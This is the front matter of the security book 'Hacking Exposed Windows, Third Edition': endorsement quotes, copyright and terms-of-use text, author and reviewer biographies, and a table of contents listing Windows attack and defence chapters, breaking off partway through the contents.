{ "pages": [ { "page_number": 1, "text": "" }, { "page_number": 2, "text": "Praise for Hacking Exposed™ Windows®, Third Edition\nIt’s this ability to help you perform accurate risk assessment that makes Hacking Exposed Windows valuable. \nThere are few places where you can get a one-stop look at the security landscape in which Windows lives. \nJoel and his fellow contributors have done an outstanding job of documenting the latest advances in \nthreats, including buffer overflows, rootkits, and cross-site scripting, as well as defensive technologies \nsuch as no-execute, Vista’s UAC, and address space layout randomization. If understanding Windows \nsecurity is anywhere in your job description, I highly recommend reading this book from back to front and \nkeeping it as a reference for your ongoing battle.\n—Mark Russinovich, Technical Fellow, Microsoft Corporation\n“The Hacking Exposed authors and contributors have once again taken their unique experiences and framed \na must-read for the security professional and technology adventurist alike. Start to finish, Hacking Exposed \nWindows, Third Edition eliminates the ambiguity by outlining the tools and techniques of the modern cyber \nmiscreant, arming the reader by eliminating the mystery. The authors continue to deliver the “secret sauce” \nin the recipe for cyber security, and remain the Rachael Rays of infosec.”\n—Greg Wood, CISO, Washington Mutual\nThe security threat landscape has undergone revolutionary change since the first edition of Hacking Exposed.\nThe technology available to exploit systems has evolved considerably and become infinitely more available, \nintensifying the risk of compromise in this increasingly online world. Hacking Exposed Windows has \nremained the authority on the subject by providing the knowledge and practical guidance Windows system \nadministrators and security professionals need to be well equipped now and for the journey ahead.\n—Pete Boden, General Manager, Online Services Security, Microsoft\n“The friendly veneer of Microsoft Windows covers millions of lines of code compiled into a complex \nsystem, often responsible for delivering vital services to its customer. Despite the best intentions of its \ncreators, all versions of Windows will continue to be vulnerable to attacks at the application layer, at the \nkernel, from across the network—and everywhere else in between. Joel Scambray and his fellow contributors \nprovide a comprehensive catalogue of the threats and countermeasures for Windows in an immensely \nreadable guide. If Windows is the computing vehicle you must secure, Hacking Exposed Windows is your \ndriver’s license.”\n—Jim Reavis, former Executive Director, Information Systems Security Association\n“Computer security is changing with Windows Vista, and hackers are having to learn new methods of \nattack. Fortunately, you have their playbook.”\n—Brad Albrecht, Senior Security Program Manager, Microsoft\n“As Microsoft continues improving its operating systems, Hacking Exposed Windows, Third Edition continues \nto lead the industry in helping readers understand the real threats to the Windows environment and \nteaches how to defend against those threats. Anyone who wants to securely run Windows, needs a copy of \nthis book alongside his/her PC.”\n—James Costello (CISSP) IT Security Specialist, Honeywell\n" }, { "page_number": 3, "text": "This page intentionally left blank \n" }, { "page_number": 4, "text": "HACKING EXPOSED\n™\nWINDOWS\n®:\nWINDOWS SECURITY \nSECRETS & SOLUTIONS\nJOEL SCAMBRAY\nSTUART McCLURE\nNew York Chicago San Francisco\n Lisbon London Madrid Mexico City Milan\n New Delhi San Juan Seoul Singapore Sydney Toronto\nTHIRD EDITION\n" }, { "page_number": 5, "text": "Copyright © 2008 by Joel Scambray. All rights reserved.Manufactured in the United States of America. Except as permitted under the\nUnited States Copyright Act of 1976, no part of this publication may be reproduced or distributed in any form or by any means, or stored\nin a database or retrieval system, without the prior written permission of the publisher. \n0-07-159669-0\nThe material in this eBook also appears in the print version of this title: 0-07-149426-X.\nAll trademarks are trademarks of their respective owners. Rather than put a trademark symbol after every occurrence of a trademarked\nname, we use names in an editorial fashion only, and to the benefit of the trademark owner, with no intention of infringement of the \ntrademark. Where such designations appear in this book, they have been printed with initial caps. \nMcGraw-Hill eBooks are available at special quantity discounts to use as premiums and sales promotions, or for use in corporate train-\ning programs. For more information, please contact George Hoare, Special Sales, at george_hoare@mcgraw-hill.com or (212) 904-4069. \nTERMS OF USE \nThis is a copyrighted work and The McGraw-Hill Companies, Inc. (“McGraw-Hill”) and its licensors reserve all rights in and to the work.\nUse of this work is subject to these terms. Except as permitted under the Copyright Act of 1976 and the right to store and retrieve one\ncopy of the work, you may not decompile, disassemble, reverse engineer, reproduce, modify, create derivative works based upon,\ntransmit, distribute, disseminate, sell, publish or sublicense the work or any part of it without McGraw-Hill’s prior consent. You may use\nthe work for your own noncommercial and personal use; any other use of the work is strictly prohibited. Your right to use the work may\nbe terminated if you fail to comply with these terms. \nTHE WORK IS PROVIDED “AS IS.” McGRAW-HILL AND ITS LICENSORS MAKE NO GUARANTEES OR WARRANTIES AS\nTO THE ACCURACY, ADEQUACY OR COMPLETENESS OF OR RESULTS TO BE OBTAINED FROM USING THE WORK,\nINCLUDING ANY INFORMATION THAT CAN BE ACCESSED THROUGH THE WORK VIA HYPERLINK OR OTHERWISE,\nAND EXPRESSLY DISCLAIM ANY WARRANTY, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO IMPLIED\nWARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. McGraw-Hill and its licensors do not\nwarrant or guarantee that the functions contained in the work will meet your requirements or that its operation will be uninterrupted or\nerror free. Neither McGraw-Hill nor its licensors shall be liable to you or anyone else for any inaccuracy, error or omission, regardless of\ncause, in the work or for any damages resulting therefrom. McGraw-Hill has no responsibility for the content of any information accessed\nthrough the work. Under no circumstances shall McGraw-Hill and/or its licensors be liable for any indirect, incidental, special, punitive,\nconsequential or similar damages that result from the use of or inability to use the work, even if any of them has been advised of the \npossibility of such damages. This limitation of liability shall apply to any claim or cause whatsoever whether such claim or cause arises\nin contract, tort or otherwise. \nDOI: 10.1036/007149426X\n" }, { "page_number": 6, "text": "We hope you enjoy this\nMcGraw-Hill eBook! If\nyou’d like more information about this book,\nits author, or related books and websites,\nplease click here.\nProfessional\nWant to learn more?\n" }, { "page_number": 7, "text": "ABOUT THE AUTHORS\nJoel Scambray\nJoel Scambray is Chief Strategy Officer for Leviathan Security Group, an \ninformation security consultancy located in Seattle and Denver. As a member \nof Leviathan’s board and executive management team, Joel guides the \nevolution and execution of Leviathan’s business and technical strategy.\nPrior to Leviathan, Joel was a senior director at Microsoft Corporation, where he led \nMicrosoft’s online services security efforts for three years before joining the Windows \nplatform and services division to focus on security technology architecture. Before \njoining Microsoft, Joel co-founded security software and services startup Foundstone, \nInc. and helped lead it to acquisition by McAfee for $86M. He previously held positions \nas a manager for Ernst & Young, security columnist for Microsoft TechNet, Editor at Large \nfor InfoWorld Magazine, and Director of IT for a major commercial real estate firm.\nJoel is widely recognized as co-author of the original Hacking Exposed: Network Security \nSecrets & Solutions, the international best-selling computer security book that reached its \nFifth Edition in April 2005. He is also lead author of the Hacking Exposed: Windows and \nHacking Exposed: Web Applications series.\nJoel’s writing draws primarily on his experiences in security technology development, \nIT operations security, and consulting. He has worked with organizations ranging in size \nfrom the world’s largest enterprises to small startups. He has spoken widely on \ninformation security at forums including Black Hat, I-4, and The Asia Europe Meeting \n(ASEM), as well as organizations including CERT, The Computer Security Institute (CSI), \nISSA, ISACA, SANS, private corporations, and government agencies such as the Korean \nInformation Security Agency (KISA), the FBI, and the RCMP.\nJoel holds a BS from the University of California at Davis, an MA from UCLA, and he \nis a Certified Information Systems Security Professional (CISSP).\nStuart McClure\nStuart McClure is an independent computer security consultant in the Southern \nCalifornia area. Prior to returning to running his own consultancy, Stuart was \nSVP of Global Threats and Research for McAfee where he led an elite global \nsecurity threats team fighting the most vicious cyber attacks ever seen. McAfee purchased \nFoundstone (a leading global enterprise risk management company) in 2004, of which \nStuart was founder, president, and chief technology officer. Foundstone empowered \nlarge enterprises, including U.S. government agencies and Global 500 customers, to \ncontinuously and measurably manage and mitigate risk to protect their most important \ndigital assets and customers’ private information from critical threats.\nWidely recognized for his extensive and in-depth knowledge of security products, \nStuart is considered one of the industry’s leading authorities in information security \ntoday. A well-published and acclaimed security visionary, Stuart brought over 20 years \nof technology and executive leadership to Foundstone with profound technical, \noperational, and financial experience.\nIn 1999, he published the first of many books on computer hacking and security. His \nfirst book, Hacking Exposed: Network Security Secrets & Solutions, has been translated into \nover 20 languages and was ranked the #4 computer book ever sold—positioning it as one \n" }, { "page_number": 8, "text": "of the best-selling security and computer books in history. Stuart has also co-authored \nHacking Exposed: Windows 2000 by McGraw-Hill/Osborne and Web Hacking: Attacks and \nDefense by Addison-Wesley.\nPrior to Foundstone, Stuart held many leadership positions in security and IT \nmanagement, including positions within Ernst & Young’s National Security Profiling \nTeam, the InfoWorld Test Center, state and local California government, IT consultancy, \nand with the University of Colorado, Boulder, where Stuart holds a bachelor’s degree in \npsychology and philosophy, with an emphasis in computer science applications. He has \nalso earned numerous certifications including ISC2’s CISSP, Novell’s CNE, and Check \nPoint’s CCSE.\nABOUT THE CONTRIBUTING AUTHORS\nChip Andrews (CISSP, MCDBA) is the head of Research and Development for Special \nOps Security. Chip is the founder of the SQLSecurity.com website, which focuses on \nMicrosoft SQL Server security topics and issues. He has over 16 years of secure software \ndevelopment experience, helping customers design, develop, deploy, and maintain \nreliable and secure software. Chip has been a primary and contributing author to several \nbooks, including SQL Server Security and Hacking Exposed: Windows Server 2003. He has \nalso authored articles focusing on SQL Server security and software development issues \nfor magazines such as Microsoft Certified Professional Magazine, SQL Server Magazine, and \nDr. Dobb’s Journal. He is a prominent speaker at security conferences such as the Black \nHat Briefings.\nBlake Frantz has over ten years of professional experience in information security with \na broad background ranging from software security research to enterprise policy \ndevelopment. He is currently a principal consultant for Leviathan Security Group where \nhe specializes in penetration testing and source code reviews. Prior to Leviathan, Blake \nwas a security engineer within Washington Mutual’s Infrastructure Security and \nSecurityAssurance teams where he was responsible for leading vulnerability assessments \nof critical financial systems.\nRobert Hensing, a nine-year veteran of Microsoft, is a software security engineer on the \nMicrosoft Secure Windows Initiative team. Robert works closely with the Microsoft \nSecurity Response Center with a focus on identifying mitigations and workarounds for \nproduct vulnerabilities that can be documented in advisories and bulletins to help \nprotect Microsoft’s customers. Prior to joining the Secure Windows Initiative team, \nRobert was a senior member of the Product Support Services Security team where he \nhelped customers with incident response–related investigations.\nThe Toolcrypt Group (www.toolcrypt.org) is an internationally recognized association \nof professional security consultants who have contracted widely throughout Europe \nand the U.S. Their work has helped improve security at government agencies, \nmultinationals, financial institutions, nuclear power plants, and service providers of all \nsizes in many different countries. They have been invited speakers at numerous \nconferences and industry forums, including Microsoft BlueHat and T2 Finland. \nToolcrypt’s ongoing research and tool development continues to help responsible \nsecurity professionals to improve network and computer security globally.\n" }, { "page_number": 9, "text": "Dave Wong manages the Ernst & Young Advanced Security Center in New York where \nhe runs a team of dedicated attack and penetration testing professionals. Dave has over \nten years of experience in attack and penetration testing and has managed and performed \nhundreds of assessments for financial services, government, and Fortune 500 clients. \nPrior to joining Ernst & Young, he gained a wide array of information security experience \nand previously held positions at Lucent’s Bell Laboratories, Foundstone, and Morgan \nStanley. Dave has taught a number of secure coding and hacking courses for public and \ncorporate clients. He has taught courses at the Black Hat Security Conferences in the U.S. \nand Asia and has spoken at OWASP meetings. Dave is also a Certified Information \nSystems Security Professional (CISSP).\nABOUT THE TECHNICAL REVIEWERS\nAaron Turner is Cybersecurity Strategist for the Idaho National Laboratory (INL). In this \nrole, he applies his experience in information security to collaborate with control systems \nexperts, industry engineers, and homeland security/law enforcement officials to develop \nsolutions to the cyber threats that critical infrastructure is currently facing. Before joining \nINL, he worked in several of Microsoft’s security divisions for seven years—including as \na senior security strategist within the Security Technology Unit as well as the Security \nReadiness Manager for Microsoft Sales, Marketing, and Services Group where he led the \ndevelopment of Microsoft’s information security curriculum for over 22,000 of Microsoft’s \nfield staff. Prior to focusing on Microsoft’s global security readiness challenge, he managed \nMicrosoft Services’ response to enterprises’ needs during the aftermath of the Blaster \nworm. He has been an information security practitioner since 1994, designing security \nsolutions and responding to incidents in more than 20 countries around the world.\nLee Yan (CISSP, PhD) is a security escalation engineer on the Microsoft PSS Security \nTeam, which provides worldwide security response, security products, and technology \nsupport to Microsoft customers. He has been with Microsoft for more than ten years. \nPrior to joining the security team about five years ago, he was an escalation engineer in \ndeveloper support for Visual Studio. He authors some of the incident response and \nrootkit detection tools for his team. He holds a PhD in Fisheries from the University of \nWashington and discovered that he enjoyed working with computers by accident.\n" }, { "page_number": 10, "text": "This page intentionally left blank \n" }, { "page_number": 11, "text": "ix\nAT A GLANCE\n▼ 1 Information Security Basics \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . \n1\n▼ 2 The Windows Security Architecture from \n \n the Hacker’s Perspective . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15\n▼ 3 Footprinting and Scanning . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 53\n▼ 4 Enumeration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 73\n▼ 5 Hacking Windows-Specif ic Services . . . . . . . . . . . . . . . . . . . . . . 115\n▼ 6 Discovering and Exploiting Windows Vulnerabilities . . . . . . . 165\n▼ 7 Post-Exploit Pillaging \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 185\n▼ 8 Achieving Stealth and Maintaining Presence \n . . . . . . . . . . . . . . 225\n▼ 9 Hacking SQL Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 273\n▼ 10 Hacking Microsoft Client Apps . . . . . . . . . . . . . . . . . . . . . . . . . . 317\n▼ 11 Physical Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 345\n▼ 12 Windows Security Features and Tools \n . . . . . . . . . . . . . . . . . . . . 367\n▼ A Windows Security Checklist . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 405\n▼ B About the Companion Website \n . . . . . . . . . . . . . . . . . . . . . . . . . . 421\nIndex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 423\n" }, { "page_number": 12, "text": "This page intentionally left blank \n" }, { "page_number": 13, "text": "xi\nCONTENTS\nForeword . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . xvii\nAcknowledgments . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . xix\nIntroduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . xxi\n▼1 Information Security Basics \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . \n1\nA Framework for Operational Security . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . \n2\nPlan . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . \n3\nPrevent . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . \n8\nDetect . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . \n8\nRespond . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . \n9\nRinse and Repeat \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . \n9\nBasic Security Principles \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . \n10\nSummary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . \n13\nReferences and Further Reading \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . \n14\n▼2 The Windows Security Architecture from the Hacker’s Perspective . . . . . . . . . . . . . . . \n15\nOverview . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . \n16\nAttacking the Kernel \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . \n17\nAttacking User Mode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . \n18\nAccess Control Overview \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . \n19\nSecurity Principals \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . \n19\nSIDs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . \n20\nUsers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . \n22\nGroups . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . \n25\nComputers (Machine Accounts) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . \n28\nUser Rights \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . \n30\nPutting It All Together: Access Control . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . \n31\nThe Token \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . \n32\nNetwork Authentication . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . \n36\nThe SAM and Active Directory \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . \n39\nForests, Trees, and Domains . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . \n41\nScope: Local, Global, and Universal \n . . . . . . . . . . . . . . . . . . . . . . . . . . . \n42\nTrusts \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . \n43\nAdministrative Boundaries: Forest or Domain? \n . . . . . . . . . . . . . . . . . \n43\nFor more information about this title, click here\n" }, { "page_number": 14, "text": "xii \nHacking Exposed Windows: Windows Security Secrets & Solutions \nAuditing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . \n46\nCryptography . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . \n47\nThe .NET Framework \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . \n48\nSummary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . \n50\nReferences and Further Reading \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . \n51\n▼3 Footprinting and Scanning . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . \n53\nFootprinting . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . \n54\nScanning . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . \n60\nA Final Word on Footprinting and Scanning . . . . . . . . . . . . . . . . . . . . . . . . . . \n69\nSummary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . \n70\nReferences and Further Reading \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . \n70\n▼4 Enumeration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . \n73\nPrelude: Reviewing Scan Results . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . \n74\nNetBIOS Names vs. IP Addresses \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . \n74\nNetBIOS Name Service Enumeration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . \n77\nRPC Enumeration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . \n82\nSMB Enumeration \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . \n84\nWindows DNS Enumeration \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 101\nSNMP Enumeration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 103\nActive Directory Enumeration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 107\nAll-in-One Enumeration Tools . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 111\nSummary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 112\nReferences and Further Reading \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 113\n▼5 Hacking Windows-Specif ic Services \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 115\nGuessing Passwords \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 117\nClose Existing SMB Sessions to Target \n . . . . . . . . . . . . . . . . . . . . . . . . . 117\nReview Enumeration Results . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 118\nAvoid Account Lockout . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 119\nThe Importance of Administrator and Service Accounts . . . . . . . . . . 121\nEavesdropping on Windows Authentication . . . . . . . . . . . . . . . . . . . . . . . . . . 137\nSubverting Windows Authentication \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 148\nExploiting Windows-Specifi c Services \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 156\nSummary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 161\nReferences and Further Reading \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 162\n▼6 Discovering and Exploiting Windows Vulnerabilities . . . . . . . . . . . . . . . . . . . . . . . . . . . 165\nSecurity Vulnerabilities \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 166\nFinding Security Vulnerabilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 166\nPrep Work \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 167\nExploiting ANI \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 181\nSummary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 184\nReferences and Further Reading \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 184\n" }, { "page_number": 15, "text": "Contents \nxiii\n▼7 Post-Exploit Pillaging \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 185\nTransferring Attacker’s Toolkit for Further Domination \n . . . . . . . . . . . . . . . . 186\nRemote Interactive Control . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 191\nPassword Extraction \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 201\nIntroduction to Application Credential Usage and the DPAPI . . . . . 205\nPassword Cracking \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 210\nCracking LM Hashes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 210\nCracking NT Hashes \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 214\nRinse and Repeat \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 220\nSummary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 220\nReferences and Further Reading \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 221\n▼8 Achieving Stealth and Maintaining Presence . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 225\nThe Rise of the Rootkit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 226\nWindows Rootkits \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 227\nThe Changing Threat Environment . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 229\nAchieving Stealth: Modern Techniques \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 235\nWindows Internals . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 235\nDKOM \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 240\nShadow Walker . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 245\nAntivirus Software vs. Rootkits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 246\nWindows Vista vs. Rootkits \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 247\nKernel Patch Protection (KPP): Patchguard . . . . . . . . . . . . . . . . . . . . . 247\nUAC: You’re About to Get 0wn3d, Cancel or Allow? . . . . . . . . . . . . . 248\nSecure Startup . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 250\nOther Security Enhancements \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 251\nSummary of Vista vs. Rootkits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 251\nRootkit Detection Tools and Techniques . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 252\nRise of the Rootkit Detection Tool \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 252\nCross-View-Based Rootkit Detection . . . . . . . . . . . . . . . . . . . . . . . . . . . 253\nAd Hoc Rootkit Detection Techniques \n . . . . . . . . . . . . . . . . . . . . . . . . . 254\nThe Future of Rootkits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 262\nAre Rootkits Really Even Necessary? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 262\nSummary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 268\nReferences and Further Reading \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 269\n▼9 Hacking SQL Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 273\nCase Study: Penetration of a SQL Server \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 274\nSQL Server Security Concepts \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 277\nNetwork Libraries \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 277\nSecurity Modes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 278\nLogins . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 278\nUsers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 279\nRoles . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 279\n" }, { "page_number": 16, "text": "xiv \nHacking Exposed Windows: Windows Security Secrets & Solutions \nLogging \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 279\nSQL Server 2005 Changes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 280\nHacking SQL Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 281\nSQL Server Information Gathering \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . 282\nSQL Server Hacking Tools and Techniques \n . . . . . . . . . . . . . . . . . . . . . 286\nCritical Defensive Strategies . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 306\nAdditional SQL Server Security Best Practices \n . . . . . . . . . . . . . . . . . . . . . . . . 309\nSummary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 315\nReferences and Further Reading \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 316\n▼10 Hacking Microsoft Client Apps . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 317\nExploits \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 319\nTrickery \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 327\nGeneral Countermeasures . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 334\nIE Security Zones \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 335\nLow-privilege Browsing \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 339\nSummary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 340\nReferences and Further Reading \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 340\n▼11 Physical Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 345\nOffl ine Attacks \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 346\nImplications for EFS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 349\nOnline Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 354\nDevice/Media/Wireless Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 359\nSummary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 363\nReferences and Further Reading \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 364\n▼12 Windows Security Features and Tools . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 367\nBitLocker Drive Encryption \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 368\nBitLocker Confi gurations \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 369\nBitLocker with TPM . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 370\nWindows Integrity Control . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 